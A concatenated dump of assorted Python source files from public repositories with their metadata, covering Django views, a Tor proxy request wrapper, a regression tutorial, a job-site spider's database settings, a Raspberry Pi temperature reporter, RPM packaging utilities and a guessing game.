('tab_user_support', ['has_user_support', 'integer_4', 'is_moderated', 'has_comments']), ('tab_frame' , ['info_slot_right',]), ('tab_visibility', ['is_browseable', 'visible_start', 'visible_end',]), ] content = get_tabbed_form(tabs, help_form, app_name ,f) if request.method == 'POST' and not f.errors : save_values(item_container, data_init, f.data) return HttpResponseRedirect(get_site_url(item_container, 'index.html')) else : vars = get_folderish_vars_edit(request, item_container, app_name, my_title, content, f, get_dont()) return render_to_response ( 'app/base_edit.html', vars )

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default_app_config = "statuses.apps.StatusAppConfig"

[ "takinado@mail.ru" ]

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#!/usr/bin/env python """ torsurvey.torapi """ import requesocks as requests import requesocks.exceptions # import hmac # import hashlib # import json import logging # from time import time class TorAPI(object): headers = { 'User-Agent' : 'torsurvey-', } tor_host = None tor_port = None proxy_tor = { "http": "socks5://127.0.0.1:9030", "https": "socks5://127.0.0.1:9030" } def __init__(self, proxy_host='127.0.0.1', proxy_port='9040', proxy_type='socks5', timeout=10): self.proxy_host = proxy_host self.proxy_port = proxy_port self.proxy_type = proxy_type self.timeout = timeout self.proxy = {} self.proxy['http'] = "%s://%s:%d" % (proxy_type, proxy_host, int(proxy_port)) self.proxy['https'] = "%s://%s:%d" % (proxy_type, proxy_host, int(proxy_port)) self.session = requesocks.session() self.session.proxies = self.proxy logging.debug("Established session with proxies %s" % str(self.proxy)) def get_ip(self): r = self.req('http://ifconfig.me/ip') if r.status_code == 200: return r.text return 'Error' def get_headers(self): headers = self.headers # @TODO add headers return headers def req(self, url, extras={}): try: r = self.session.request('GET', url, allow_redirects=True, timeout=self.timeout, headers=self.headers) return r except requesocks.exceptions.ConnectionError, e: logging.error("Bad connection cannot connect to %s" % url) return -1 except Exception, e: logging.error("%s: %s" % (url, e)) return -1

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2023-08-31T23:42:32.275836

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# -*- coding: utf-8 -*- """ Tencent is pleased to support the open source community by making BK-ITSM 蓝鲸流程服务 available. Copyright (C) 2021 THL A29 Limited, a Tencent company. All rights reserved. BK-ITSM 蓝鲸流程服务 is licensed under the MIT License. License for BK-ITSM 蓝鲸流程服务: -------------------------------------------------------------------- Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from django.db import models from django.utils.translation import ugettext as _ from itsm.component.constants import LEN_NORMAL class Model(models.Model): FIELDS = ('creator', 'create_at', 'updated_by', 'update_at') creator = models.CharField(_("创建人"), max_length=LEN_NORMAL, null=True, blank=True) create_at = models.DateTimeField(_("创建时间"), auto_now_add=True) update_at = models.DateTimeField(_("更新时间"), auto_now=True) updated_by = models.CharField(_("修改人"), max_length=LEN_NORMAL, null=True, blank=True) class Meta: app_label = 'project' abstract = True

[ "1758504262@qq.com" ]

1758504262@qq.com

74044ba31aee8febadeb0b5bdf8ad33d30405070

575bdfbcc1eef8a0c38b60292dc992aa3e9dab90

/2_Regression/Simple_Linear_Regression.py

11da5c04873b45adc42f921c7dfcf874c0f31693

[]

no_license

saimahesh-geek/machine-learning

36ffce0cd08f4046e52f28ca8b0e9329d6346239

ca5ccea924c5cce9ae8046b139d80b4a661accdb

refs/heads/master

2020-04-05T22:21:31.637849

2018-11-19T09:44:04

157,253,574

0

null

UTF-8

Python

false

1,236

py

#Importing libraries import numpy as np import matplotlib.pyplot as plt import pandas as pd #Importing datasets dataset = pd.read_csv('Salary_Data.csv') X = dataset.iloc[:, :-1].values y = dataset.iloc[:, -1].values #Splitting the dataset into training and test sets #cross_validation - deprecated from sklearn.model_selection import train_test_split X_train, X_test, y_train, y_test = train_test_split(X, y, test_size = 1/3, random_state = 0) #Fitting Simple Linear Regression to the training set from sklearn.linear_model import LinearRegression regressor = LinearRegression() regressor.fit(X_train, y_train) #Predicting the test set results y_pred = regressor.predict(X_test) #Visualising the training set results plt.scatter(X_train, y_train, color = 'red') plt.plot(X_train, regressor.predict(X_train), color='blue') plt.title('Salary VS Experience (Training Set)') plt.xlabel('Years of experience') plt.ylabel('Salary') plt.show() #Visualising the test set results plt.scatter(X_test, y_test, color = 'red') plt.scatter(X_test, y_pred, color = 'yellow') plt.plot(X_train, regressor.predict(X_train), color='blue') plt.title('Salary VS Experience (Test Set)') plt.xlabel('Years of experience') plt.ylabel('Salary') plt.show()

[ "saimahesh.cse@gmail.com" ]

saimahesh.cse@gmail.com

052c5c207307bbe9f26b006dfb64a5119f43a3fe

d1a7899f6d7e791a9886a7b32d573263a45713ad

/apps/staff/views.py

b7252543cbc5066672071587c46e942b2ae99d20

[]

no_license

ranjitreonard/hospital_project

bac01437cb5ad6c4a18cfe78f8912f9210df2c18

10cdcac28d2c7add2c0878d80bfb90c91a2d5c2f

refs/heads/main

2023-01-11T04:16:27.817128

2020-11-12T17:56:39

303,461,061

0

null

UTF-8

Python

false

1,445

py

from django.contrib.auth.decorators import login_required from django.contrib.auth.mixins import LoginRequiredMixin from django.http import HttpResponseRedirect from django.shortcuts import render, redirect from django.urls import reverse_lazy from django.utils import timezone from django.views.generic import CreateView from pip._vendor.urllib3.util import request from apps.management.forms import LeavePeriodForm from apps.management.models import Complaint from apps.staff.models import Leave @login_required() def dashboard(request): return render(request=request, template_name='staff/dashboard.html') @login_required() def add_complaint(request): complaints = request.POST.get('complaints') all_complaints = Complaint.objects.all() context = { 'all_complaints': all_complaints } if request.method == 'POST': my_complaint = Complaint.objects.create( complaint=complaints, created_by=request.user, status='Pending', # created_at=timezone.now(), ) # complaints.complaint.add(my_complaint) my_complaint.save() return render(request, 'staff/complaint.html', context=context) def cancel_complaint(request, id): complaint = Complaint.objects.get(id=id) if complaint.status == 'Pending': complaint.status = 'Canceled' complaint.save() return redirect(reverse_lazy('staff:add-complaint'))

[ "ranjitreonard@gmail.com" ]

ranjitreonard@gmail.com

b1ab51beb86bb85dddf16a4de946d7f4359aa706

db24cc07c4bcc000c3643e13bfb55e08c255548f

/plugins/Metro_2033.py

d055d6da6a762a512c8a30ccfbc110f23335cb13

[ "MIT" ]

permissive

Pr0Ger/SGSB

40db6b7b02557956a535e6afb26b62b218158162

6adf8dc7ce3bf3d4b84f46b7d97aad376440e175

refs/heads/master

2021-01-21T04:54:00.149185

2016-05-03T10:40:07

9,470,033

2

0

null

UTF-8

Python

false

764

py

import os from lib.base_plugin import BasePlugin from lib.paths import MyDocumentsPath, SteamGamesPath, SteamCloudPath class Metro2033Plugin(BasePlugin): Name = "Metro 2033" support_os = ["Windows"] def backup(self, _): _.add_folder('Saves', os.path.join(MyDocumentsPath, '4a games'), 'metro 2033') _.add_files('Config', os.path.join(SteamCloudPath, '43110', 'remote'), 'user.cfg') def restore(self, _): _.restore_folder('Saves', os.path.join(MyDocumentsPath, '4a games'), 'metro 2033') _.restore_files('Config', os.path.join(SteamCloudPath, '43110', 'remote'), 'user.cfg') def detect(self): if os.path.isdir(os.path.join(SteamGamesPath, 'metro 2033')): return True return False

[ "git@pr0ger.org" ]

git@pr0ger.org

91ada6f45a09b8402b1495832eadc2d12fdfc6e7

196d79948210027c00405788fe913fec58e304fb

/Correlated_normal_random_numbers.py

4cb1a324de31d1c1eda2b46897e5bd88e0e7e72a

[]

no_license

Mazumsad/Python-Programs

b5f4bcfb58c4c557d63f7e9dc11519a2f23c91ed

8698f1b373493f330b6aa971534abaa2d8464732

refs/heads/main

2023-07-02T22:36:39.300498

2021-08-09T09:13:16

null

0

null

UTF-8

Python

false

1,458

py

# Correlated normal random numbers # # Author: Oscar A. Nieves # Last updated: July 01, 2021 import matplotlib.pyplot as plt import numpy as np plt.close('all') np.random.seed(0) # Set seed # Inputs samples = 1000 # Random samples (Uniformly distributed) U1 = np.random.rand(samples,1) U2 = np.random.rand(samples,1) # Random samples (normally distributed uncorrelated) S1 = np.sqrt(-2*np.log(U1))*np.cos(2*np.pi*U2) S2 = np.sqrt(-2*np.log(U1))*np.sin(2*np.pi*U2) E_S1 = np.mean(S1) Var_S1 = np.mean(S1**2) - E_S1**2 sigma_S1 = np.sqrt(Var_S1) E_S2 = np.mean(S2) Var_S2 = np.mean(S2**2) - E_S2**2 sigma_S2 = np.sqrt(Var_S2) Cov_S1_S2 = np.mean(S1*S2) - E_S1*E_S2 Corr_S1_S2 = Cov_S1_S2/sigma_S1/sigma_S2 print('corr(S1,S2) = ' + str(Corr_S1_S2)) # Correlated random samples mu_x = 0.5 mu_y = 0.66 sigma_x = 0.85 sigma_y = 1.24 rho = 0.5 X = mu_x + sigma_x * S1 Y = mu_y + sigma_y * (rho*S1 + np.sqrt(1-rho**2)*S2) E_X = np.mean(X) Var_X = np.mean(X**2) - E_X**2 sigma_X = np.sqrt(Var_X) E_Y = np.mean(Y) Var_Y = np.mean(Y**2) - E_Y**2 sigma_Y = np.sqrt(Var_Y) Cov_X_Y = np.mean(X*Y) - E_X*E_Y Corr_X_Y = Cov_X_Y/sigma_X/sigma_Y print('corr(X,Y) = ' + str(Corr_X_Y)) # Generate plots plt.subplot(1,2,1) plt.plot(S1,S2,linestyle="",marker="o",color="blue") plt.xlabel('S1', fontsize=16) plt.ylabel('S2', fontsize=16) plt.subplot(1,2,2) plt.plot(X,Y,linestyle="",marker="o",color="green") plt.xlabel('X', fontsize=16) plt.ylabel('Y', fontsize=16)

[ "noreply@github.com" ]

noreply@github.com

1fe65d81b9ace7330b0e75a717eac734837ec34a

c3a16bebf2d2df1cef785ab8821d1e55a2c7781a

/LagouSpider-master/Config/settings.py

182e9ab46b1a73a4b0be0d41b346ac66c65a827b

[]

no_license

lailaizhou/Python-

b1459b18fb1717e9db0dd06bf85d9e4beb1f4b4d

44092c899b73a8fcab4eb54b524a01ecd6369412

refs/heads/master

2023-02-12T08:23:26.079521

2021-01-10T07:54:01

null

0

null

UTF-8

Python

false

4,075

py

import pymysql import redis from pymysql.err import Warning ''' 1. 指定：数据库名、表名、是否去重（数据库、表不存在时，自动创建） 2. 在__init__配置mysql和redis数据库，默认本地数据库、root、密码123456 ''' class Settings(object): DATABASE_NAME = 'test' # 数据库名 TABLE_NAME = 'it' # 表名 DONT_FILTER = False # 是否对已经爬取过的url进行过滤，默认False过滤，改为True则不过滤 SHOW_WINDOWS = False SPEED = 1 executable_path = 'C:\Program Files (x86)\Google\Chrome\Application\chromedriver.exe' START = True def __init__(self): if self.START: # 用于存储数据mysql数据库 self.mysql_conn = pymysql.Connection( host='localhost', port=3306, user='root', password='123456', database=None, charset='utf8', ) # 新建数据库和表 self.create_db_and_table() self.mysql_conn.select_db(self.DATABASE_NAME) # 去重的数据库 # 连接本地Redis数据库1，不填则默认为0 self.redis_db = redis.StrictRedis(host='127.0.0.1', port=6379, db=1) self.START = False def create_db_and_table(self): cs = self.mysql_conn.cursor() create_db_sql = f'create database IF NOT EXISTS {self.DATABASE_NAME};' user_db = f'use {self.DATABASE_NAME};' create_table_sql = f'''create table IF NOT EXISTS {self.TABLE_NAME}( id int primary key auto_increment, # 搜索信息 keywords varchar(20), # 职位搜索关键字 detail_url varchar(100), # 招聘详细页网址 # 岗位相关信息 position varchar(40), # 职位名称(如:Python开发,Python实习生) tags varchar(50), # 职位标签(如:电商|后端|大数据|数据挖掘|机器学习|HTML|CSS|Python) salary varchar(10), # 职位薪资范围(如:7K-10K,10K-20K) job_type varchar(10), # 工作性质(如:全职,实习,兼职) city varchar(10), # 工作地点(如:北京-海淀,浙江-杭州) district varchar(10), # 工作区域 street varchar(40), # 详细街道 education varchar(10), # 学历要求(如:初中及以下,高中/中技/中专,大专,本科,硕士,博士,无学历要求) work_experience varchar(10), # 工作经验要求(如:在校生/应届生,1-3年,3-5年,无经验) release_date varchar(12), # 发布日期(如:2020-1-20) description varchar(2000), # 职位描述 # 公司相关信息 company_name varchar(40), # 招聘公司名称 company_scale varchar(20), # 公司规模(如:少于15人,15-50人) company_field varchar(20), # 公司领域(如:互联网,金融,电子商务) company_type varchar(10), # 公司性质(如:民营公司,上市公司,C轮,未融资) company_benefits varchar(100) # 公司福利(如:行业领先,技术氛围浓,绩效奖金;五险一金,员工旅游,专业培训,年终奖金,弹性工作,定期体检) );''' try: cs.execute(create_db_sql) except Warning: print(f"{self.DATABASE_NAME} 数据库已经存在========") cs.execute(user_db) try: cs.execute(create_table_sql) except Warning: print(f"{self.TABLE_NAME} 表已经存在========") self.mysql_conn.commit() # print(create_table_sql) def get_mysql_connect(self): return self.mysql_conn def get_redis_connect(self): return self.redis_db def db_exists(self, cursor, db_name): pass def tabel_exists(self, cursor, table_name): pass

[ "jixingjiukeyile@163.com" ]

jixingjiukeyile@163.com

4f9cf6f9574426479a9b31ac6a3141432a6b3254

57aa5d223e03cd4776b24fd5abddebd5e088b8f6

/djapi/deploy/migrations/0009_auto_20180525_1612.py

dee8ba7607a5ce4dad41782314cbc75cb8432f9e

[]

no_license

uahoo/hasan

5308e231fa531431029d0ed07693128c76324fa1

b6ad10103ee09ab9de3b29c9bb20a98a56585206

refs/heads/master

2020-06-30T07:37:56.698144

2018-06-05T09:53:16

null

0

null

UTF-8

Python

false

894

py

# -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2018-05-25 08:12 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('deploy', '0008_auto_20180424_1627'), ] operations = [ migrations.RemoveField( model_name='deployinfo', name='deploy_ip', ), migrations.AddField( model_name='deployinfo', name='desc', field=models.CharField(max_length=124, null=True), ), migrations.AddField( model_name='deployinfo', name='host', field=models.CharField(max_length=125, null=True), ), migrations.AddField( model_name='deployinfo', name='status', field=models.BooleanField(default=False), ), ]

[ "xiaofangliu2012@126.com" ]

xiaofangliu2012@126.com

e5f464aed684607088c0c6db4c09487c67a66592

13661160ec486aff1f3a6c56ddf397b665397d9d

/babu/indexing.py

da49ecd461403780562e36155acdd50290ddf7fe

[]

no_license

xaviermathew/Babu

3ed0464cd90276b471d5c7326d07b475d5f8803b

e953c3c2e80309918d0159fd93216bd3a4012ad2

refs/heads/master

2021-06-08T20:25:25.735180

2016-10-31T20:50:02

72,604,027

0

null

UTF-8

Python

false

3,016

py

import ctypes import string CHARSET = string.ascii_letters + string.digits class DataPointerArray(ctypes.Array): _length_ = 10 _type_ = ctypes.c_int class IndexPointerArray(ctypes.Array): _length_ = len(CHARSET) _type_ = ctypes.c_int class Page(ctypes.Structure): _fields_ = [ ('curr', ctypes.c_char), ('data_ptrs', DataPointerArray), ('index_ptrs', IndexPointerArray), ('next_ptr', ctypes.c_int) ] def goto(self, char): idx = CHARSET.index(char) node_ptr = self.index_ptrs[idx] if node_ptr: return BLOCK.pages[node_ptr] def next(self): ptr = self.next_ptr if ptr: return BLOCK.pages[ptr] def add_data_ptr(self, data_ptr): ptrs = self.data_ptrs for i, p in enumerate(ptrs): if not p: break ptrs[i] = data_ptr class Pages(ctypes.Array): _type_ = Page _length_ = 1000 class Block(ctypes.Structure): _fields_ = [ ('free', ctypes.c_char), ('pages', Pages), ] @property def root(self): return self.pages[0] def add_page(self, page): if not self.free: self.free = 1 self.pages[self.free] = page BLOCK = None class FieldIndex(object): max_depth = 3 def __init__(self, field): self.field = field self.model = field.model self.index_name = '%s.%s.index' % (self.model.name, self.field.name) # self.init_index() def create_index(self): from babu.utils import pack_struct s = pack_struct(Pages()) block_file = open(self.index_name, 'w') block_file.write(s) block_file.close() def init_index(self): import mmap from babu.storage import ProgrammingError global BLOCK try: block_file = open(self.index_name, 'r+b') except IOError: raise ProgrammingError block_buffer = mmap.mmap(block_file.fileno(), 0) BLOCK = Block.from_buffer(block_buffer) self.block = BLOCK def find(self, needle): node = self.block.root for char in needle[:self.max_depth]: node = node.goto(char) if node is None: break if node: return node.data_ptrs def add_to_index(self, instance): value = getattr(instance, self.field.name) block = self.block node = block.root for depth, char in enumerate(value[:self.max_depth]): _node = node.goto(char) node.add_data_ptr(instance.pk) if _node: node = _node else: break if depth < self.max_depth: for char in value[depth:self.max_depth]: page = Page(curr=char, data_ptrs=DataPointerArray(instance.pk)) block.add_page(page) def remove_from_index(self, instance): raise NotImplementedError

[ "xavier@compile.com" ]

xavier@compile.com

ae07df2f81bfe910c4ffcfe06f600297235bb252

c822c6a8941cda6b31b9505372f02b528fed8767

/pledge/manage.py

4a5058efe7eab9d9020ac60938e874aef65b13ca

[]

no_license

asim3/kfupm-pledge

b39944c87032325890a1c80ac602bbb12a7e7f58

6108a067b225aeeaaff7d82c616099ef5820b3ca

refs/heads/main

2023-03-08T04:33:28.801450

2021-02-17T10:09:45

319,908,595

0

null

2020-12-19T21:05:44

2020-12-09T09:38:57

Python

UTF-8

Python

false

662

py

#!/usr/bin/env python """Django's command-line utility for administrative tasks.""" import os import sys def main(): """Run administrative tasks.""" os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'pledge.settings') try: from django.core.management import execute_from_command_line except ImportError as exc: raise ImportError( "Couldn't import Django. Are you sure it's installed and " "available on your PYTHONPATH environment variable? Did you " "forget to activate a virtual environment?" ) from exc execute_from_command_line(sys.argv) if __name__ == '__main__': main()

[ "asimwebapps@gmail.com" ]

asimwebapps@gmail.com

cdbc14cffaa1c039b8eb98564019e47d62004cce

df2ee1c167b4bfe492fd1d89ce9790ba467d59f4

/getTemp.py

330d46ba80ebff7932ee272c9dbdd76b763ddfb8

[]

no_license

KamillB/IoTRPI

c8eed980162c032f6106fc692e3909baf64dce9c

80919742b4e3557c6939513e79bcbbfcb368ec99

refs/heads/master

2020-03-21T11:08:15.961327

2019-01-14T13:02:22

138,491,273

0

null

UTF-8

Python

false

1,504

py

import os import glob import time import json import requests import datetime os.system('modprobe w1-gpio') os.system('modprobe w1-therm') base_dir = '/sys/bus/w1/devices/' device_folder = glob.glob(base_dir + '28*')[0] device_file = device_folder + '/w1_slave' url = 'http://192.168.0.112:8080/rpi/temperature' SLEEP_TIMER = 5 def getserial(): # Extract serial from cpuinfo file cpuserial = "0000000000000000" try: f = open('/proc/cpuinfo','r') for line in f: if line[0:6]=='Serial': cpuserial = line[10:26] f.close() except: cpuserial = "ERROR000000000" return cpuserial def read_temp_raw(): f = open(device_file, 'r') lines = f.readlines() f.close() return lines def read_temp(): lines = read_temp_raw() while lines[0].strip()[-3:] != 'YES': time.sleep(0.2) lines = read_temp_raw() equals_pos = lines[1].find('t=') if equals_pos != -1: temp_string = lines[1][equals_pos+2:] temp_c = float(temp_string) / 1000.0 # temp_f = temp_c * 9.0 / 5.0 + 32.0 # return temp_c, temp_f return temp_c while True: # print(read_temp()) time.sleep(SLEEP_TIMER) payload = { "ownerSerialNumber" : getserial(), "temp" : read_temp(), "milis" : time.mktime(datetime.datetime.now().timetuple()), "name" : "first temperature sensor" } print(payload) headers = { 'content-type' : 'application/json' } response = requests.post(url, data=json.dumps(payload), headers=headers)

[ "noreply@github.com" ]

noreply@github.com

61851185d3367e5abccad11fe204de96a2710daf

6d309bd5d9ef1aa1d64347bb7964574055514143

/src/lm-cmd/lm/file.py

0b27028deca078fc3226c3a055b827ebe1269364

[]

no_license

pragmagrid/lifemapper-server

d8bbfbddd37fa008621996d88dc510f01704ee6b

8237262bcefe54acc9479c85344162899689d5c8

refs/heads/master

2021-05-22T08:20:18.213147

2019-12-20T20:25:20

17,229,074

2

3

null

2015-12-03T21:31:33

2014-02-26T23:07:30

Makefile

UTF-8

Python

false

10,779

py

#! /opt/rocks/bin/python import sys import os import string import re import shutil import lm.utils import xml.sax class File: def __init__(self, file, timestamp=None, size=None): # Timestamp and size can be explicitly set for foreign files. self.setFile(file, timestamp, size) self.imortal = 0 def __cmp__(self, file): if self.getBaseName() != file.getBaseName() or \ self.timestamp == file.timestamp: rc = 0 elif self.timestamp > file.timestamp: rc = 1 else: rc = -1 # Override the inequality determination and base the decision # on the imortal flag. If both files are divine, than don't # change anything. if rc and self.imortal + file.imortal == 1: if self.imortal: rc = 1 else: rc = -1 return rc def setFile(self, file, timestamp=None, size=None): self.pathname = os.path.dirname(file) self.filename = os.path.basename(file) # Get the timestamp of the file, or the derefereneced symbolic # link. If the dereferenced link does not exist set the # timestamp to zero. if None not in (timestamp, size): self.timestamp = timestamp self.size = size elif not os.path.islink(file): self.timestamp = os.path.getmtime(file) self.size = os.path.getsize(file) else: orig = os.readlink(file) if os.path.isfile(orig): self.timestamp = os.path.getmtime(orig) self.size = os.path.getsize(file) else: self.timestamp = 0 self.size = 0 def explode(self): # If the file is a symbolic link to a file, follow the link # and copy the file. Links to directories are not exanded. file = self.getFullName() if os.path.islink(file): orig = os.readlink(file) if os.path.isfile(orig): os.unlink(file) shutil.copy2(orig, file) # Fix the timestamp back to that of # the original file. The above copy seems # to do this for us, but I'm going to # leave this in to make sure it always works. tm = os.path.getmtime(orig) os.utime(file, (tm, tm)) def setImortal(self): self.imortal = 1 def getTimestamp(self): return self.timestamp def getSize(self): return float(self.size) / (1024*1024) def getUniqueName(self): return self.filename def getBaseName(self): return self.filename def getName(self): return self.filename def getShortName(self): return os.path.splitext(self.filename)[0] def getPath(self): return self.pathname def getFullName(self): return str(os.path.join(self.pathname, self.filename)) def symlink(self, target, base=''): if os.path.isfile(target) or os.path.islink(target): os.unlink(target) os.symlink(self.getFullName(), target) def chmod(self, mode): if os.path.exists(self.getFullName()): os.chmod(self.getFullName(), mode) def dump(self): print '%s(%s)' % (self.filename, self.pathname) class RPMBaseFile(File): def __init__(self, file, timestamp=None, size=None, ext=1): File.__init__(self, file, timestamp, size) self.list = [] # Remove ext count extensions, the default is 1, but for # rolls we remove two (.diskN.iso) s = self.filename # name-ver-rpmver.arch.rpm for x in range(0, ext): i = string.rfind(s, ".") s = self.filename[:i] i = string.rfind(s, ".") self.list.append(s[i+1:]) # get architecture string s = self.filename[:i] i = string.rfind(s, "-") # get RPM version string self.release = s[i+1:] self.list.append(self.versionList(s[i+1:])) s = self.filename[:i] i = string.rfind(s, "-") # get software version string self.version = s[i+1:] self.list.append(self.versionList(s[i+1:])) self.list.append(self.filename[:i]) # get package name self.list.reverse() # we built the list backwards def versionList(self, s): list = [] for e in re.split('\.+|_+', s): num = '' alpha = '' l = [] for c in e: if c in string.digits: num = num + c if alpha: l.append(alpha) alpha = '' else: alpha = alpha + c if num: l.append(string.atoi(num)) num = '' if alpha: l.append(alpha) if num: l.append(string.atol(num)) list.append(l) return list def getBaseName(self): return self.list[0] def getUniqueName(self): return '%s-%s' % (self.list[0], self.list[3]) class RPMFile(RPMBaseFile): def __init__(self, file, timestamp=None, size=None): RPMBaseFile.__init__(self, file, timestamp, size) def __cmp__(self, file): if self.getPackageArch() != file.getPackageArch(): rc = 0 else: # For RPM Files, if the timestamps are within 2 minutes # of each other check # the Buildtime of the RPM if abs(int(self.timestamp) - int(file.timestamp)) < 120 : # print "CMP %s:%s" % (self.getFullName(), file.getFullName()) f1=os.popen("rpm -qp --qf '%%{BUILDTIME}' %s" % self.getFullName()) self.timestamp=float(f1.readline()) f1.close() f2=os.popen("rpm -qp --qf '%%{BUILDTIME}' %s" % file.getFullName()) file.timestamp=float(f2.readline()) f2.close() rc = File.__cmp__(self, file) return rc def getPackageName(self): return self.getBaseName() def getPackageVersion(self): return self.list[1] def getPackageRelease(self): return self.list[2] def getPackageVersionString(self): return self.version def getPackageReleaseString(self): return self.release def getPackageArch(self): return self.list[3] def installPackage(self, root, flags=""): """Installs the RPM at the given root directory. This is used for patching RPMs into the distribution and making bootable CDs""" pass dbdir = os.path.join(root, 'var', 'lib', 'rpm') if not os.path.isdir(dbdir): os.makedirs(dbdir) cmd = 'rpm -i --nomd5 --force --nodeps --ignorearch ' + \ '--dbpath %s %s ' % (dbdir, flags) cmd += '--badreloc --relocate /=%s %s' \ % (root, self.getFullName()) print 'cmd', cmd retval = os.system(cmd) # Crawl up from the end of the dbdir path and prune off # all the empty directories. while dbdir: if not os.listdir(dbdir): shutil.rmtree(dbdir) list = string.split(dbdir, os.sep) dbdir = string.join(list[:-1], os.sep) print 'retval', retval return retval class RollFile(RPMBaseFile): def __init__(self, file, timestamp=None, size=None): RPMBaseFile.__init__(self, file, timestamp, size, 2) self.diskID = int(string.split(file, '.')[-2][4:]) def __cmp__(self, file): if self.getRollArch() != file.getRollArch(): rc = 0 else: rc = File.__cmp__(self, file) return rc def getRollDiskID(self): return self.diskID def getRollName(self): return self.getBaseName() def getRollVersion(self): return self.list[1] def getRollRelease(self): return self.list[2] def getRollVersionString(self): return self.version def getRollReleaseString(self): return self.release def getRollArch(self): return self.list[3] class RollInfoFile(File, xml.sax.handler.ContentHandler, xml.sax.handler.DTDHandler, xml.sax.handler.EntityResolver, xml.sax.handler.ErrorHandler): def __init__(self, file): File.__init__(self, file) self.attrs = {} parser = xml.sax.make_parser() parser.setContentHandler(self) fin = open(file, 'r') parser.parse(fin) fin.close() def startElement(self, name, attrs): self.attrs[str(name)] = {} for (attrName, attrVal) in attrs.items(): self.attrs[str(name)][str(attrName)] = str(attrVal) def getXML(self): """Regenerate the XML file based on what was read in and the current state.""" xml = [] xml.append('<roll name="%s" interface="%s">' % (self.getRollName(), self.getRollInterface())) for tag in self.attrs.keys(): if tag == 'roll': continue attrs = '' for key,val in self.attrs[tag].items(): attrs += ' %s="%s"' % (key, val) xml.append('\t<%s%s/>' % (tag, attrs)) xml.append('</roll>') return string.join(xml, '\n') def getRollName(self): return self.attrs['roll']['name'] def getRollInterface(self): return self.attrs['roll']['interface'] def getRollVersion(self): return self.attrs['info']['version'] def getRollRelease(self): return self.attrs['info']['release'] def setRollOS(self, os): self.attrs['info']['os'] = os def getRollOS(self): try: return self.attrs['info']['os'] except KeyError: return 'linux' def setRollArch(self, arch): self.attrs['info']['arch'] = arch def getRollArch(self): return self.attrs['info']['arch'] def getISOMaxSize(self): return float(self.attrs['iso']['maxsize']) def setISOMaxSize(self, size): self.attrs['iso']['maxsize'] = size def getISOFlags(self): return self.attrs['iso']['mkisofs'] def getRollRolls(self): return self.attrs['rpm']['rolls'] def isBootable(self): return int(self.attrs['iso']['bootable']) def hasRolls(self): if self.attrs['rpm']['rolls'] != '0': return 1 else: return 0 def hasRPMS(self): return int(self.attrs['rpm']['bin']) def hasSRPMS(self): return int(self.attrs['rpm']['src']) class Tree: def __init__(self, root): self.root = root self.tree = {} self.build('') def getRoot(self): return self.root def getDirs(self): return self.tree.keys() def clear(self, path=''): l1 = string.split(path, os.sep) for key in self.tree.keys(): l2 = string.split(key, os.sep) if lm.utils.list_isprefix(l1, l2): del self.tree[key] def getFiles(self, path=''): try: list = self.tree[path] except KeyError: list = [] return list def setFiles(self, path, files): self.tree[path] = files def build(self, dir): path = os.path.join(self.root, dir) if not os.path.isdir(path): return # Handle the case where we don't have permission to traverse # into a tree by pruning off the protected sub-tree. try: files = os.listdir(path) except: files = [] v = [] for f in files: filepath = os.path.join(path, f) if os.path.isdir(filepath) and not \ os.path.islink(filepath): self.build(os.path.join(dir, f)) else: if re.match('.*\.rpm$', f) != None: v.append(RPMFile(filepath)) elif re.match('roll-.*\.iso$', f) != None: v.append(RollFile(filepath)) else: v.append(File(filepath)) self.tree[dir] = v def dumpDirNames(self): for key in self.tree.keys(): print key def dump(self): self.apply(self.__dumpIter__) def apply(self, func, root=None): for key in self.tree.keys(): for e in self.tree[key]: func(key, e, root) def getSize(self): 'Return the size the if Tree in Mbytes' len = 0 for key in self.tree.keys(): for file in self.tree[key]: len = len + file.getSize() return float(len) def __dumpIter__(self, path, file, root): print path, file.dump()

[ "nadya@sdsc.edu" ]

nadya@sdsc.edu

b6c032ceb4d134da7d9a1dd095d343b1f7cb6f23

1f5e18ec358e816e045e3f34f453f18adb6401bf

/higher_or_lower.py

155f5c769928a75f8e9c94090f050af9a3462f94

[]

no_license

keerthiballa/PyPart3

fcd400755be68364240e6ccf07b2237560e69efa

f963df6ef3d3afca4a4213dbe747897217b859e2

refs/heads/master

2023-08-23T16:20:14.253885

2021-10-27T19:27:20

null

0

null

UTF-8

Python

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1,133

py

""" Exercise 2 Create a program called higher_or_lower.py The program must meet the following criteria. - A function that asks the user to provide a number between 0 and 10. - A function that returns a random number between 1 and 10. - A function that evaluates the randomly generated number against the user's guess. - At the end, the program must output the following: - The random number that was generated. - The user's guess. - An indication if the user guess correctly or if the user's guess was too high/too low. Answer below: """ """File named higher_or_lower.py is created separately.""" def guessf(): guess = input('Guess a number between 0 and 10: ') return int(guess) def randnumf(): from random import randrange return randrange(10) def evaluate(): guess = guessf() randnum = randnumf() if guess > randnum: result='Too High' elif guess < randnum: result='Too Low' else: result='Equal' print('The random number was ' + str(randnum)) print('The number guessed was ' + str(guess)) print('Your guess was ' + str(result)) evaluate()

[ "keerthiballa@gmail.com" ]

keerthiballa@gmail.com

ffe8e1dbeed117b6d85e0c6d3bbd7dc3c9343227

f58600a34c291565c0964e25808169a3e4f6f1b3

/testtocompare.py

9bf37d76bd2cb474d4e5b3795ab963161496db96

[]

no_license

AdamMcWilliam/whosthatpokemon-AudioWaveComparison

ed8dcca449c218ceb14099971401c8f0fd3d1fd3

1049a3f1de85482ff5075af94a6b26f698542e25

refs/heads/master

2022-11-16T03:16:42.029390

2020-07-06T00:01:53

277,403,707

0

null

UTF-8

